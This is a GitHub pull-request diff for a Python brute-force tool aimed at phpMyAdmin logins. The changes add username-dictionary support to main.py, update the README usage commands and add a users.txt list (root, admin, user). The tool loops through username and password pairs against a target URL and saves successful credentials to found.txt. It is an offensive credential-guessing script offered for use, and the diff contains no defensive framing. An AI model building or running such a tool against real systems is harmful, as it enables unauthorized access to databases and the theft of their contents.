Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,5 +7,9 @@ tested on `phpMyAdmin 4.9.0.1`

Usage:
```
python3 main.py -url http://example.com/pma/ -user root -dict password.txt
python3 main.py -url http://example.com/pma/ -user root -pdict password.txt
```
OR
```
python3 main.py -url http://example.com/pma/ -udict users.txt -pdict password.txt
```
38 changes: 24 additions & 14 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,6 @@
import os
import argparse


def login(url, username, password):
for i in range(3):
try:
Expand All @@ -28,34 +27,45 @@ def main():
parser = argparse.ArgumentParser(description='e.g. python3 %s -url http://example.com/pma/ -user root -dict password.txt' % (os.path.basename(__file__)))
parser.add_argument('-url', help='The URL of target website')
parser.add_argument('-user', default='root', help='The username of MySQL (default: root)')
parser.add_argument('-dict', default='password.txt', help='The file path of password dictionary (default: password.txt)')
parser.add_argument('-udict', default='none.txt', help='The file path of username dictionary (default: NULL)')
parser.add_argument('-pdict', default='password.txt', help='The file path of password dictionary (default: password.txt)')

args = parser.parse_args()
url = args.url
username = args.user
dictionary = args.dict
pwdDictionary = args.pdict
userDictionary = args.udict

if url is None:
parser.print_help()
return

#Getting passwords
try:
f = open(dictionary, "r")
f = open(pwdDictionary, "r")
passwords = re.split("[\r\n]+", f.read())
f.close()
except:
print("[-] Failed to read '%s' file." % (dictionary))
print("[-] Failed to read '%s' file." % (pwdDictionary))
return

for password in passwords:
if login(url, username, password):
print("[*] FOUND - %s / %s" % (username, password))
#Getting users
try:
f = open(userDictionary, "r")
users = re.split("[\r\n]+", f.read())
f.close()
except:
users = [args.user]

for user in users:
for password in passwords:
if login(url, user, password):
print("[*] FOUND - %s / %s" % (user, password))

f = open("found.txt", "w")
f.write("%s / %s\n" % (username, password))
f.close()
else:
print("[!] FAILED - %s / %s" % (username, password))
f = open("found.txt", "w")
f.write("%s / %s\n" % (user, password))
f.close()
else:
print("[!] FAILED - %s / %s" % (user, password))

if __name__ == '__main__':
main()
3 changes: 3 additions & 0 deletions users.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
root
admin
user